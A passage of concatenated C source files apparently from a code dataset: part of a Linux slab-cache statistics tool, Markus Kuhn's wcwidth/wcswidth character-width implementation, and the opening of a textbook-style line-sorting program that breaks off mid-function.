/* Waste: Bytes used for alignment and padding */
unsigned long long min_waste = max, max_waste = 0,
avg_waste, total_waste = 0;
/* Number of objects in a slab */
unsigned long long min_objects = max, max_objects = 0,
avg_objects, total_objects = 0;
/* Waste per object */
unsigned long long min_objwaste = max,
max_objwaste = 0, avg_objwaste,
total_objwaste = 0;
/* Memory per object */
unsigned long long min_memobj = max,
max_memobj = 0, avg_memobj,
total_objsize = 0;
/* Percentage of partial slabs per slab */
unsigned long min_ppart = 100, max_ppart = 0,
avg_ppart, total_ppart = 0;
/* Number of objects in partial slabs */
unsigned long min_partobj = max, max_partobj = 0,
avg_partobj, total_partobj = 0;
/* Percentage of partial objects of all objects in a slab */
unsigned long min_ppartobj = 100, max_ppartobj = 0,
avg_ppartobj, total_ppartobj = 0;
for (s = slabinfo; s < slabinfo + slabs; s++) {
unsigned long long size;
unsigned long used;
unsigned long long wasted;
unsigned long long objwaste;
unsigned long percentage_partial_slabs;
unsigned long percentage_partial_objs;
if (!s->slabs || !s->objects)
continue;
used_slabs++;
size = slab_size(s);
used = s->objects * s->object_size;
wasted = size - used;
objwaste = s->slab_size - s->object_size;
percentage_partial_slabs = s->partial * 100 / s->slabs;
if (percentage_partial_slabs > 100)
percentage_partial_slabs = 100;
percentage_partial_objs = s->objects_partial * 100
/ s->objects;
if (percentage_partial_objs > 100)
percentage_partial_objs = 100;
if (s->object_size < min_objsize)
min_objsize = s->object_size;
if (s->partial < min_partial)
min_partial = s->partial;
if (s->slabs < min_slabs)
min_slabs = s->slabs;
if (size < min_size)
min_size = size;
if (wasted < min_waste)
min_waste = wasted;
if (objwaste < min_objwaste)
min_objwaste = objwaste;
if (s->objects < min_objects)
min_objects = s->objects;
if (used < min_used)
min_used = used;
if (s->objects_partial < min_partobj)
min_partobj = s->objects_partial;
if (percentage_partial_slabs < min_ppart)
min_ppart = percentage_partial_slabs;
if (percentage_partial_objs < min_ppartobj)
min_ppartobj = percentage_partial_objs;
if (s->slab_size < min_memobj)
min_memobj = s->slab_size;
if (s->object_size > max_objsize)
max_objsize = s->object_size;
if (s->partial > max_partial)
max_partial = s->partial;
if (s->slabs > max_slabs)
max_slabs = s->slabs;
if (size > max_size)
max_size = size;
if (wasted > max_waste)
max_waste = wasted;
if (objwaste > max_objwaste)
max_objwaste = objwaste;
if (s->objects > max_objects)
max_objects = s->objects;
if (used > max_used)
max_used = used;
if (s->objects_partial > max_partobj)
max_partobj = s->objects_partial;
if (percentage_partial_slabs > max_ppart)
max_ppart = percentage_partial_slabs;
if (percentage_partial_objs > max_ppartobj)
max_ppartobj = percentage_partial_objs;
if (s->slab_size > max_memobj)
max_memobj = s->slab_size;
total_partial += s->partial;
total_slabs += s->slabs;
total_size += size;
total_waste += wasted;
total_objects += s->objects;
total_used += used;
total_partobj += s->objects_partial;
total_ppart += percentage_partial_slabs;
total_ppartobj += percentage_partial_objs;
total_objwaste += s->objects * objwaste;
total_objsize += s->objects * s->slab_size;
}
if (!total_objects) {
printf("No objects\n");
return;
}
if (!used_slabs) {
printf("No slabs\n");
return;
}
/* Per slab averages */
avg_partial = total_partial / used_slabs;
avg_slabs = total_slabs / used_slabs;
avg_size = total_size / used_slabs;
avg_waste = total_waste / used_slabs;
avg_objects = total_objects / used_slabs;
avg_used = total_used / used_slabs;
avg_partobj = total_partobj / used_slabs;
avg_ppart = total_ppart / used_slabs;
avg_ppartobj = total_ppartobj / used_slabs;
/* Per object object sizes */
avg_objsize = total_used / total_objects;
avg_objwaste = total_objwaste / total_objects;
avg_partobj = total_partobj * 100 / total_objects;
avg_memobj = total_objsize / total_objects;
printf("Slabcache Totals\n");
printf("----------------\n");
printf("Slabcaches : %15d Aliases : %11d->%-3d Active: %3d\n",
slabs, aliases, alias_targets, used_slabs);
store_size(b1, total_size);store_size(b2, total_waste);
store_size(b3, total_waste * 100 / total_used);
printf("Memory used: %15s # Loss : %15s MRatio:%6s%%\n", b1, b2, b3);
store_size(b1, total_objects);store_size(b2, total_partobj);
store_size(b3, total_partobj * 100 / total_objects);
printf("# Objects : %15s # PartObj: %15s ORatio:%6s%%\n", b1, b2, b3);
printf("\n");
printf("Per Cache Average "
"Min Max Total\n");
printf("---------------------------------------"
"-------------------------------------\n");
store_size(b1, avg_objects);store_size(b2, min_objects);
store_size(b3, max_objects);store_size(b4, total_objects);
printf("#Objects %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_slabs);store_size(b2, min_slabs);
store_size(b3, max_slabs);store_size(b4, total_slabs);
printf("#Slabs %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_partial);store_size(b2, min_partial);
store_size(b3, max_partial);store_size(b4, total_partial);
printf("#PartSlab %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_ppart);store_size(b2, min_ppart);
store_size(b3, max_ppart);
store_size(b4, total_partial * 100 / total_slabs);
printf("%%PartSlab%15s%% %15s%% %15s%% %15s%%\n",
b1, b2, b3, b4);
store_size(b1, avg_partobj);store_size(b2, min_partobj);
store_size(b3, max_partobj);
store_size(b4, total_partobj);
printf("PartObjs %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_ppartobj);store_size(b2, min_ppartobj);
store_size(b3, max_ppartobj);
store_size(b4, total_partobj * 100 / total_objects);
printf("%% PartObj%15s%% %15s%% %15s%% %15s%%\n",
b1, b2, b3, b4);
store_size(b1, avg_size);store_size(b2, min_size);
store_size(b3, max_size);store_size(b4, total_size);
printf("Memory %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_used);store_size(b2, min_used);
store_size(b3, max_used);store_size(b4, total_used);
printf("Used %15s %15s %15s %15s\n",
b1, b2, b3, b4);
store_size(b1, avg_waste);store_size(b2, min_waste);
store_size(b3, max_waste);store_size(b4, total_waste);
printf("Loss %15s %15s %15s %15s\n",
b1, b2, b3, b4);
printf("\n");
printf("Per Object Average "
"Min Max\n");
printf("---------------------------------------"
"--------------------\n");
store_size(b1, avg_memobj);store_size(b2, min_memobj);
store_size(b3, max_memobj);
printf("Memory %15s %15s %15s\n",
b1, b2, b3);
store_size(b1, avg_objsize);store_size(b2, min_objsize);
store_size(b3, max_objsize);
printf("User %15s %15s %15s\n",
b1, b2, b3);
store_size(b1, avg_objwaste);store_size(b2, min_objwaste);
store_size(b3, max_objwaste);
printf("Loss %15s %15s %15s\n",
b1, b2, b3);
}
static void sort_slabs(void)
{
struct slabinfo *s1,*s2;
for (s1 = slabinfo; s1 < slabinfo + slabs; s1++) {
for (s2 = s1 + 1; s2 < slabinfo + slabs; s2++) {
int result;
if (sort_size)
result = slab_size(s1) < slab_size(s2);
else if (sort_active)
result = slab_activity(s1) < slab_activity(s2);
else if (sort_loss)
result = slab_waste(s1) < slab_waste(s2);
else
result = strcasecmp(s1->name, s2->name);
if (show_inverted)
result = -result;
if (result > 0) {
struct slabinfo t;
memcpy(&t, s1, sizeof(struct slabinfo));
memcpy(s1, s2, sizeof(struct slabinfo));
memcpy(s2, &t, sizeof(struct slabinfo));
}
}
}
}
static void sort_aliases(void)
{
struct aliasinfo *a1,*a2;
for (a1 = aliasinfo; a1 < aliasinfo + aliases; a1++) {
for (a2 = a1 + 1; a2 < aliasinfo + aliases; a2++) {
char *n1, *n2;
n1 = a1->name;
n2 = a2->name;
if (show_alias && !show_inverted) {
n1 = a1->ref;
n2 = a2->ref;
}
if (strcasecmp(n1, n2) > 0) {
struct aliasinfo t;
memcpy(&t, a1, sizeof(struct aliasinfo));
memcpy(a1, a2, sizeof(struct aliasinfo));
memcpy(a2, &t, sizeof(struct aliasinfo));
}
}
}
}
static void link_slabs(void)
{
struct aliasinfo *a;
struct slabinfo *s;
for (a = aliasinfo; a < aliasinfo + aliases; a++) {
for (s = slabinfo; s < slabinfo + slabs; s++)
if (strcmp(a->ref, s->name) == 0) {
a->slab = s;
s->refs++;
break;
}
if (s == slabinfo + slabs)
fatal("Unresolved alias %s\n", a->ref);
}
}
static void alias(void)
{
struct aliasinfo *a;
char *active = NULL;
sort_aliases();
link_slabs();
for(a = aliasinfo; a < aliasinfo + aliases; a++) {
if (!show_single_ref && a->slab->refs == 1)
continue;
if (!show_inverted) {
if (active) {
if (strcmp(a->slab->name, active) == 0) {
printf(" %s", a->name);
continue;
}
}
printf("\n%-12s <- %s", a->slab->name, a->name);
active = a->slab->name;
}
else
printf("%-15s -> %s\n", a->name, a->slab->name);
}
if (active)
printf("\n");
}
static void rename_slabs(void)
{
struct slabinfo *s;
struct aliasinfo *a;
for (s = slabinfo; s < slabinfo + slabs; s++) {
if (*s->name != ':')
continue;
if (s->refs > 1 && !show_first_alias)
continue;
a = find_one_alias(s);
if (a)
s->name = a->name;
else {
s->name = "*";
actual_slabs--;
}
}
}
static int slab_mismatch(char *slab)
{
return regexec(&pattern, slab, 0, NULL, 0);
}
static void read_slab_dir(void)
{
DIR *dir;
struct dirent *de;
struct slabinfo *slab = slabinfo;
struct aliasinfo *alias = aliasinfo;
char *p;
char *t;
int count;
if (chdir("/sys/kernel/slab") && chdir("/sys/slab"))
fatal("SYSFS support for SLUB not active\n");
dir = opendir(".");
while ((de = readdir(dir))) {
if (de->d_name[0] == '.' ||
(de->d_name[0] != ':' && slab_mismatch(de->d_name)))
continue;
switch (de->d_type) {
case DT_LNK:
alias->name = strdup(de->d_name);
count = readlink(de->d_name, buffer, sizeof(buffer)-1);
if (count < 0)
fatal("Cannot read symlink %s\n", de->d_name);
buffer[count] = 0;
p = buffer + count;
while (p > buffer && p[-1] != '/')
p--;
alias->ref = strdup(p);
alias++;
break;
case DT_DIR:
if (chdir(de->d_name))
fatal("Unable to access slab %s\n", slab->name);
slab->name = strdup(de->d_name);
slab->alias = 0;
slab->refs = 0;
slab->aliases = get_obj("aliases");
slab->align = get_obj("align");
slab->cache_dma = get_obj("cache_dma");
slab->cpu_slabs = get_obj("cpu_slabs");
slab->destroy_by_rcu = get_obj("destroy_by_rcu");
slab->hwcache_align = get_obj("hwcache_align");
slab->object_size = get_obj("object_size");
slab->objects = get_obj("objects");
slab->objects_partial = get_obj("objects_partial");
slab->objects_total = get_obj("objects_total");
slab->objs_per_slab = get_obj("objs_per_slab");
slab->order = get_obj("order");
slab->partial = get_obj("partial");
slab->partial = get_obj_and_str("partial", &t);
decode_numa_list(slab->numa_partial, t);
free(t);
slab->poison = get_obj("poison");
slab->reclaim_account = get_obj("reclaim_account");
slab->red_zone = get_obj("red_zone");
slab->sanity_checks = get_obj("sanity_checks");
slab->slab_size = get_obj("slab_size");
slab->slabs = get_obj_and_str("slabs", &t);
decode_numa_list(slab->numa, t);
free(t);
slab->store_user = get_obj("store_user");
slab->trace = get_obj("trace");
slab->alloc_fastpath = get_obj("alloc_fastpath");
slab->alloc_slowpath = get_obj("alloc_slowpath");
slab->free_fastpath = get_obj("free_fastpath");
slab->free_slowpath = get_obj("free_slowpath");
slab->free_frozen= get_obj("free_frozen");
slab->free_add_partial = get_obj("free_add_partial");
slab->free_remove_partial = get_obj("free_remove_partial");
slab->alloc_from_partial = get_obj("alloc_from_partial");
slab->alloc_slab = get_obj("alloc_slab");
slab->alloc_refill = get_obj("alloc_refill");
slab->free_slab = get_obj("free_slab");
slab->cpuslab_flush = get_obj("cpuslab_flush");
slab->deactivate_full = get_obj("deactivate_full");
slab->deactivate_empty = get_obj("deactivate_empty");
slab->deactivate_to_head = get_obj("deactivate_to_head");
slab->deactivate_to_tail = get_obj("deactivate_to_tail");
slab->deactivate_remote_frees = get_obj("deactivate_remote_frees");
slab->order_fallback = get_obj("order_fallback");
slab->cmpxchg_double_cpu_fail = get_obj("cmpxchg_double_cpu_fail");
slab->cmpxchg_double_fail = get_obj("cmpxchg_double_fail");
slab->cpu_partial_alloc = get_obj("cpu_partial_alloc");
slab->cpu_partial_free = get_obj("cpu_partial_free");
slab->alloc_node_mismatch = get_obj("alloc_node_mismatch");
slab->deactivate_bypass = get_obj("deactivate_bypass");
chdir("..");
if (slab->name[0] == ':')
alias_targets++;
slab++;
break;
default :
fatal("Unknown file type %lx\n", de->d_type);
}
}
closedir(dir);
slabs = slab - slabinfo;
actual_slabs = slabs;
aliases = alias - aliasinfo;
if (slabs > MAX_SLABS)
fatal("Too many slabs\n");
if (aliases > MAX_ALIASES)
fatal("Too many aliases\n");
}
static void output_slabs(void)
{
struct slabinfo *slab;
int lines = output_lines;
for (slab = slabinfo; (slab < slabinfo + slabs) &&
lines != 0; slab++) {
if (slab->alias)
continue;
if (lines != -1)
lines--;
if (show_numa)
slab_numa(slab, 0);
else if (show_track)
show_tracking(slab);
else if (validate)
slab_validate(slab);
else if (shrink)
slab_shrink(slab);
else if (set_debug)
slab_debug(slab);
else if (show_ops)
ops(slab);
else if (show_slab)
slabcache(slab);
else if (show_report)
report(slab);
}
}
static void xtotals(void)
{
totals();
link_slabs();
rename_slabs();
printf("\nSlabs sorted by size\n");
printf("--------------------\n");
sort_loss = 0;
sort_size = 1;
sort_slabs();
output_slabs();
printf("\nSlabs sorted by loss\n");
printf("--------------------\n");
line = 0;
sort_loss = 1;
sort_size = 0;
sort_slabs();
output_slabs();
printf("\n");
}
struct option opts[] = {
{ "aliases", no_argument, NULL, 'a' },
{ "activity", no_argument, NULL, 'A' },
{ "debug", optional_argument, NULL, 'd' },
{ "display-activity", no_argument, NULL, 'D' },
{ "empty", no_argument, NULL, 'e' },
{ "first-alias", no_argument, NULL, 'f' },
{ "help", no_argument, NULL, 'h' },
{ "inverted", no_argument, NULL, 'i'},
{ "slabs", no_argument, NULL, 'l' },
{ "numa", no_argument, NULL, 'n' },
{ "ops", no_argument, NULL, 'o' },
{ "shrink", no_argument, NULL, 's' },
{ "report", no_argument, NULL, 'r' },
{ "Size", no_argument, NULL, 'S'},
{ "tracking", no_argument, NULL, 't'},
{ "Totals", no_argument, NULL, 'T'},
{ "validate", no_argument, NULL, 'v' },
{ "zero", no_argument, NULL, 'z' },
{ "1ref", no_argument, NULL, '1'},
{ "lines", required_argument, NULL, 'N'},
{ "Loss", no_argument, NULL, 'L'},
{ "Xtotals", no_argument, NULL, 'X'},
{ "Bytes", no_argument, NULL, 'B'},
{ NULL, 0, NULL, 0 }
};
int main(int argc, char *argv[])
{
int c;
int err;
char *pattern_source;
page_size = getpagesize();
while ((c = getopt_long(argc, argv, "aAd::Defhil1noprstvzTSN:LXB",
opts, NULL)) != -1)
switch (c) {
case '1':
show_single_ref = 1;
break;
case 'a':
show_alias = 1;
break;
case 'A':
sort_active = 1;
break;
case 'd':
set_debug = 1;
if (!debug_opt_scan(optarg))
fatal("Invalid debug option '%s'\n", optarg);
break;
case 'D':
show_activity = 1;
break;
case 'e':
show_empty = 1;
break;
case 'f':
show_first_alias = 1;
break;
case 'h':
usage();
return 0;
case 'i':
show_inverted = 1;
break;
case 'n':
show_numa = 1;
break;
case 'o':
show_ops = 1;
break;
case 'r':
show_report = 1;
break;
case 's':
shrink = 1;
break;
case 'l':
show_slab = 1;
break;
case 't':
show_track = 1;
break;
case 'v':
validate = 1;
break;
case 'z':
skip_zero = 0;
break;
case 'T':
show_totals = 1;
break;
case 'S':
sort_size = 1;
break;
case 'N':
if (optarg) {
output_lines = atoi(optarg);
if (output_lines < 1)
output_lines = 1;
}
break;
case 'L':
sort_loss = 1;
break;
case 'X':
if (output_lines == -1)
output_lines = 1;
extended_totals = 1;
show_bytes = 1;
break;
case 'B':
show_bytes = 1;
break;
default:
fatal("%s: Invalid option '%c'\n", argv[0], optopt);
}
if (!show_slab && !show_alias && !show_track && !show_report
&& !validate && !shrink && !set_debug && !show_ops)
show_slab = 1;
if (argc > optind)
pattern_source = argv[optind];
else
pattern_source = ".*";
err = regcomp(&pattern, pattern_source, REG_ICASE|REG_NOSUB);
if (err)
fatal("%s: Invalid pattern '%s' code %d\n",
argv[0], pattern_source, err);
read_slab_dir();
if (show_alias) {
alias();
} else if (extended_totals) {
xtotals();
} else if (show_totals) {
totals();
} else {
link_slabs();
rename_slabs();
sort_slabs();
output_slabs();
}
return 0;
}
|
the_stack_data/818829.c | /*
* This is an implementation of wcwidth() and wcswidth() as defined in
* "The Single UNIX Specification, Version 2, The Open Group, 1997"
* <http://www.UNIX-systems.org/online.html>
*
* Markus Kuhn -- 2001-09-08 -- public domain
*/
#ifdef __GO32__
/* DJGPP needs to include this before including wchar.h. */
# include <wctype.h>
#endif
#include <wchar.h>
struct interval {
unsigned short first;
unsigned short last;
};
/* auxiliary function for binary search in interval table */
static int bisearch(wchar_t ucs, const struct interval *table, int max) {
int min = 0;
int mid;
if (ucs < table[0].first || ucs > table[max].last)
return 0;
while (max >= min) {
mid = (min + max) / 2;
if (ucs > table[mid].last)
min = mid + 1;
else if (ucs < table[mid].first)
max = mid - 1;
else
return 1;
}
return 0;
}
/* The following functions define the column width of an ISO 10646
* character as follows:
*
* - The null character (U+0000) has a column width of 0.
*
* - Other C0/C1 control characters and DEL will lead to a return
* value of -1.
*
* - Non-spacing and enclosing combining characters (general
* category code Mn or Me in the Unicode database) have a
* column width of 0.
*
* - Other format characters (general category code Cf in the Unicode
* database) and ZERO WIDTH SPACE (U+200B) have a column width of 0.
*
* - Hangul Jamo medial vowels and final consonants (U+1160-U+11FF)
* have a column width of 0.
*
* - Spacing characters in the East Asian Wide (W) or East Asian
* FullWidth (F) category as defined in Unicode Technical
* Report #11 have a column width of 2.
*
* - All remaining characters (including all printable
* ISO 8859-1 and WGL4 characters, Unicode control characters,
* etc.) have a column width of 1.
*
* This implementation assumes that wchar_t characters are encoded
* in ISO 10646.
*/
int wcwidth(wchar_t ucs)
{
/* sorted list of non-overlapping intervals of non-spacing characters */
static const struct interval combining[] = {
{ 0x0300, 0x034E }, { 0x0360, 0x0362 }, { 0x0483, 0x0486 },
{ 0x0488, 0x0489 }, { 0x0591, 0x05A1 }, { 0x05A3, 0x05B9 },
{ 0x05BB, 0x05BD }, { 0x05BF, 0x05BF }, { 0x05C1, 0x05C2 },
{ 0x05C4, 0x05C4 }, { 0x064B, 0x0655 }, { 0x0670, 0x0670 },
{ 0x06D6, 0x06E4 }, { 0x06E7, 0x06E8 }, { 0x06EA, 0x06ED },
{ 0x070F, 0x070F }, { 0x0711, 0x0711 }, { 0x0730, 0x074A },
{ 0x07A6, 0x07B0 }, { 0x0901, 0x0902 }, { 0x093C, 0x093C },
{ 0x0941, 0x0948 }, { 0x094D, 0x094D }, { 0x0951, 0x0954 },
{ 0x0962, 0x0963 }, { 0x0981, 0x0981 }, { 0x09BC, 0x09BC },
{ 0x09C1, 0x09C4 }, { 0x09CD, 0x09CD }, { 0x09E2, 0x09E3 },
{ 0x0A02, 0x0A02 }, { 0x0A3C, 0x0A3C }, { 0x0A41, 0x0A42 },
{ 0x0A47, 0x0A48 }, { 0x0A4B, 0x0A4D }, { 0x0A70, 0x0A71 },
{ 0x0A81, 0x0A82 }, { 0x0ABC, 0x0ABC }, { 0x0AC1, 0x0AC5 },
{ 0x0AC7, 0x0AC8 }, { 0x0ACD, 0x0ACD }, { 0x0B01, 0x0B01 },
{ 0x0B3C, 0x0B3C }, { 0x0B3F, 0x0B3F }, { 0x0B41, 0x0B43 },
{ 0x0B4D, 0x0B4D }, { 0x0B56, 0x0B56 }, { 0x0B82, 0x0B82 },
{ 0x0BC0, 0x0BC0 }, { 0x0BCD, 0x0BCD }, { 0x0C3E, 0x0C40 },
{ 0x0C46, 0x0C48 }, { 0x0C4A, 0x0C4D }, { 0x0C55, 0x0C56 },
{ 0x0CBF, 0x0CBF }, { 0x0CC6, 0x0CC6 }, { 0x0CCC, 0x0CCD },
{ 0x0D41, 0x0D43 }, { 0x0D4D, 0x0D4D }, { 0x0DCA, 0x0DCA },
{ 0x0DD2, 0x0DD4 }, { 0x0DD6, 0x0DD6 }, { 0x0E31, 0x0E31 },
{ 0x0E34, 0x0E3A }, { 0x0E47, 0x0E4E }, { 0x0EB1, 0x0EB1 },
{ 0x0EB4, 0x0EB9 }, { 0x0EBB, 0x0EBC }, { 0x0EC8, 0x0ECD },
{ 0x0F18, 0x0F19 }, { 0x0F35, 0x0F35 }, { 0x0F37, 0x0F37 },
{ 0x0F39, 0x0F39 }, { 0x0F71, 0x0F7E }, { 0x0F80, 0x0F84 },
{ 0x0F86, 0x0F87 }, { 0x0F90, 0x0F97 }, { 0x0F99, 0x0FBC },
{ 0x0FC6, 0x0FC6 }, { 0x102D, 0x1030 }, { 0x1032, 0x1032 },
{ 0x1036, 0x1037 }, { 0x1039, 0x1039 }, { 0x1058, 0x1059 },
{ 0x1160, 0x11FF }, { 0x17B7, 0x17BD }, { 0x17C6, 0x17C6 },
{ 0x17C9, 0x17D3 }, { 0x180B, 0x180E }, { 0x18A9, 0x18A9 },
{ 0x200B, 0x200F }, { 0x202A, 0x202E }, { 0x206A, 0x206F },
{ 0x20D0, 0x20E3 }, { 0x302A, 0x302F }, { 0x3099, 0x309A },
{ 0xFB1E, 0xFB1E }, { 0xFE20, 0xFE23 }, { 0xFEFF, 0xFEFF },
{ 0xFFF9, 0xFFFB }
};
/* test for 8-bit control characters */
if (ucs == 0)
return 0;
if (ucs < 32 || (ucs >= 0x7f && ucs < 0xa0))
return -1;
/* binary search in table of non-spacing characters */
if (bisearch(ucs, combining,
sizeof(combining) / sizeof(struct interval) - 1))
return 0;
/* if we arrive here, ucs is not a combining or C0/C1 control character */
return 1 +
(ucs >= 0x1100 &&
(ucs <= 0x115f || /* Hangul Jamo init. consonants */
(ucs >= 0x2e80 && ucs <= 0xa4cf && (ucs & ~0x0011) != 0x300a &&
ucs != 0x303f) || /* CJK ... Yi */
(ucs >= 0xac00 && ucs <= 0xd7a3) || /* Hangul Syllables */
(ucs >= 0xf900 && ucs <= 0xfaff) || /* CJK Compatibility Ideographs */
(ucs >= 0xfe30 && ucs <= 0xfe6f) || /* CJK Compatibility Forms */
(ucs >= 0xff00 && ucs <= 0xff5f) || /* Fullwidth Forms */
(ucs >= 0xffe0 && ucs <= 0xffe6) ||
(ucs >= 0x20000 && ucs <= 0x2ffff)));
}
int wcswidth(const wchar_t *pwcs, size_t n)
{
int w, width = 0;
for (;*pwcs && n-- > 0; pwcs++)
if ((w = wcwidth(*pwcs)) < 0)
return -1;
else
width += w;
return width;
}
/*
* The following function is the same as wcwidth(), except that
* spacing characters in the East Asian Ambiguous (A) category as
* defined in Unicode Technical Report #11 have a column width of 2.
* This experimental variant might be useful for users of CJK legacy
* encodings who want to migrate to UCS. It is not otherwise
* recommended for general use.
*/
static int wcwidth_cjk(wchar_t ucs)
{
/* sorted list of non-overlapping intervals of East Asian Ambiguous
* characters */
static const struct interval ambiguous[] = {
{ 0x00A1, 0x00A1 }, { 0x00A4, 0x00A4 }, { 0x00A7, 0x00A8 },
{ 0x00AA, 0x00AA }, { 0x00AD, 0x00AE }, { 0x00B0, 0x00B4 },
{ 0x00B6, 0x00BA }, { 0x00BC, 0x00BF }, { 0x00C6, 0x00C6 },
{ 0x00D0, 0x00D0 }, { 0x00D7, 0x00D8 }, { 0x00DE, 0x00E1 },
{ 0x00E6, 0x00E6 }, { 0x00E8, 0x00EA }, { 0x00EC, 0x00ED },
{ 0x00F0, 0x00F0 }, { 0x00F2, 0x00F3 }, { 0x00F7, 0x00FA },
{ 0x00FC, 0x00FC }, { 0x00FE, 0x00FE }, { 0x0101, 0x0101 },
{ 0x0111, 0x0111 }, { 0x0113, 0x0113 }, { 0x011B, 0x011B },
{ 0x0126, 0x0127 }, { 0x012B, 0x012B }, { 0x0131, 0x0133 },
{ 0x0138, 0x0138 }, { 0x013F, 0x0142 }, { 0x0144, 0x0144 },
{ 0x0148, 0x014B }, { 0x014D, 0x014D }, { 0x0152, 0x0153 },
{ 0x0166, 0x0167 }, { 0x016B, 0x016B }, { 0x01CE, 0x01CE },
{ 0x01D0, 0x01D0 }, { 0x01D2, 0x01D2 }, { 0x01D4, 0x01D4 },
{ 0x01D6, 0x01D6 }, { 0x01D8, 0x01D8 }, { 0x01DA, 0x01DA },
{ 0x01DC, 0x01DC }, { 0x0251, 0x0251 }, { 0x0261, 0x0261 },
{ 0x02C4, 0x02C4 }, { 0x02C7, 0x02C7 }, { 0x02C9, 0x02CB },
{ 0x02CD, 0x02CD }, { 0x02D0, 0x02D0 }, { 0x02D8, 0x02DB },
{ 0x02DD, 0x02DD }, { 0x02DF, 0x02DF }, { 0x0300, 0x034E },
{ 0x0360, 0x0362 }, { 0x0391, 0x03A1 }, { 0x03A3, 0x03A9 },
{ 0x03B1, 0x03C1 }, { 0x03C3, 0x03C9 }, { 0x0401, 0x0401 },
{ 0x0410, 0x044F }, { 0x0451, 0x0451 }, { 0x2010, 0x2010 },
{ 0x2013, 0x2016 }, { 0x2018, 0x2019 }, { 0x201C, 0x201D },
{ 0x2020, 0x2022 }, { 0x2024, 0x2027 }, { 0x2030, 0x2030 },
{ 0x2032, 0x2033 }, { 0x2035, 0x2035 }, { 0x203B, 0x203B },
{ 0x203E, 0x203E }, { 0x2074, 0x2074 }, { 0x207F, 0x207F },
{ 0x2081, 0x2084 }, { 0x20AC, 0x20AC }, { 0x2103, 0x2103 },
{ 0x2105, 0x2105 }, { 0x2109, 0x2109 }, { 0x2113, 0x2113 },
{ 0x2116, 0x2116 }, { 0x2121, 0x2122 }, { 0x2126, 0x2126 },
{ 0x212B, 0x212B }, { 0x2153, 0x2155 }, { 0x215B, 0x215E },
{ 0x2160, 0x216B }, { 0x2170, 0x2179 }, { 0x2190, 0x2199 },
{ 0x21B8, 0x21B9 }, { 0x21D2, 0x21D2 }, { 0x21D4, 0x21D4 },
{ 0x21E7, 0x21E7 }, { 0x2200, 0x2200 }, { 0x2202, 0x2203 },
{ 0x2207, 0x2208 }, { 0x220B, 0x220B }, { 0x220F, 0x220F },
{ 0x2211, 0x2211 }, { 0x2215, 0x2215 }, { 0x221A, 0x221A },
{ 0x221D, 0x2220 }, { 0x2223, 0x2223 }, { 0x2225, 0x2225 },
{ 0x2227, 0x222C }, { 0x222E, 0x222E }, { 0x2234, 0x2237 },
{ 0x223C, 0x223D }, { 0x2248, 0x2248 }, { 0x224C, 0x224C },
{ 0x2252, 0x2252 }, { 0x2260, 0x2261 }, { 0x2264, 0x2267 },
{ 0x226A, 0x226B }, { 0x226E, 0x226F }, { 0x2282, 0x2283 },
{ 0x2286, 0x2287 }, { 0x2295, 0x2295 }, { 0x2299, 0x2299 },
{ 0x22A5, 0x22A5 }, { 0x22BF, 0x22BF }, { 0x2312, 0x2312 },
{ 0x2329, 0x232A }, { 0x2460, 0x24BF }, { 0x24D0, 0x24E9 },
{ 0x2500, 0x254B }, { 0x2550, 0x2574 }, { 0x2580, 0x258F },
{ 0x2592, 0x2595 }, { 0x25A0, 0x25A1 }, { 0x25A3, 0x25A9 },
{ 0x25B2, 0x25B3 }, { 0x25B6, 0x25B7 }, { 0x25BC, 0x25BD },
{ 0x25C0, 0x25C1 }, { 0x25C6, 0x25C8 }, { 0x25CB, 0x25CB },
{ 0x25CE, 0x25D1 }, { 0x25E2, 0x25E5 }, { 0x25EF, 0x25EF },
{ 0x2605, 0x2606 }, { 0x2609, 0x2609 }, { 0x260E, 0x260F },
{ 0x261C, 0x261C }, { 0x261E, 0x261E }, { 0x2640, 0x2640 },
{ 0x2642, 0x2642 }, { 0x2660, 0x2661 }, { 0x2663, 0x2665 },
{ 0x2667, 0x266A }, { 0x266C, 0x266D }, { 0x266F, 0x266F },
{ 0x273D, 0x273D }, { 0x3008, 0x300B }, { 0x3014, 0x3015 },
{ 0x3018, 0x301B }, { 0xFFFD, 0xFFFD }
};
/* binary search in table of non-spacing characters */
if (bisearch(ucs, ambiguous,
sizeof(ambiguous) / sizeof(struct interval) - 1))
return 2;
return wcwidth(ucs);
}
int wcswidth_cjk(const wchar_t *pwcs, size_t n)
{
int w, width = 0;
for (;*pwcs && n-- > 0; pwcs++)
if ((w = wcwidth_cjk(*pwcs)) < 0)
return -1;
else
width += w;
return width;
}
|
the_stack_data/143679.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#define MAXLINES 5000
char *lineptr[MAXLINES];
int readlines(char *lineptr[], int nlines);
void writelines(char *lineptr[], int nlines);
void my_qsort(void *lineptr[], int left, int right,
int (*comp)(void *, void *));
void swap(void *v[], int, int);
int numcmp_inc(const char *, const char *);
int numcmp_dec(const char *, const char *);
int my_strcmp(const char *, const char *);
int fold_strcmp(const char *, const char *);
int
main(int argc, char *argv[]) {
int nlines;
int numeric = 0, reverse = 0, fold = 0;
if (argc > 1 && strcmp(argv[1], "-n") == 0)
numeric = 1;
if (argc > 1 && strcmp(argv[1], "-f") == 0)
fold = 1;
if (argc > 2 && strcmp(argv[2], "-r") == 0)
reverse = 1;
if ((nlines = readlines(lineptr, MAXLINES)) >= 0) {
/* generic pointer type void * can be used for pointer arguments */
/* any pointer can be cast to void *, and back without loss */
my_qsort((void **)lineptr, 0, nlines -1,
(int (*)(void *, void *))
(numeric ? (reverse ? numcmp_inc : numcmp_dec) :
(fold ? fold_strcmp : strcmp))
);
writelines(lineptr, nlines);
return 0;
} else {
printf("input too big to sort\n");
return 1;
}
for (size_t i = 0; i < nlines; i++) {
free(lineptr[i]);
lineptr[i] = NULL;
}
return 0;
}
void my_qsort(void *v[], int start, int end, int (*comp)(void *, void *)) {
int i, last;
if (start >= end)
return;
/*Pivot element */
swap(v, start, (start + end) / 2);
last = start;
for (i = start + 1; i <= end; i++)
if ((*comp)(v[i], v[start]) < 0)
swap(v, ++last, i);
swap(v, start, last);
my_qsort(v, start, last - 1, comp);
my_qsort(v, last + 1, end, comp);
}
void swap(void *v[], int q, int z) {
void *temp;
temp = v[q];
v[q] = v[z];
v[z] = temp;
}
int numcmp_inc(const char *s1, const char *s2) {
double v1, v2;
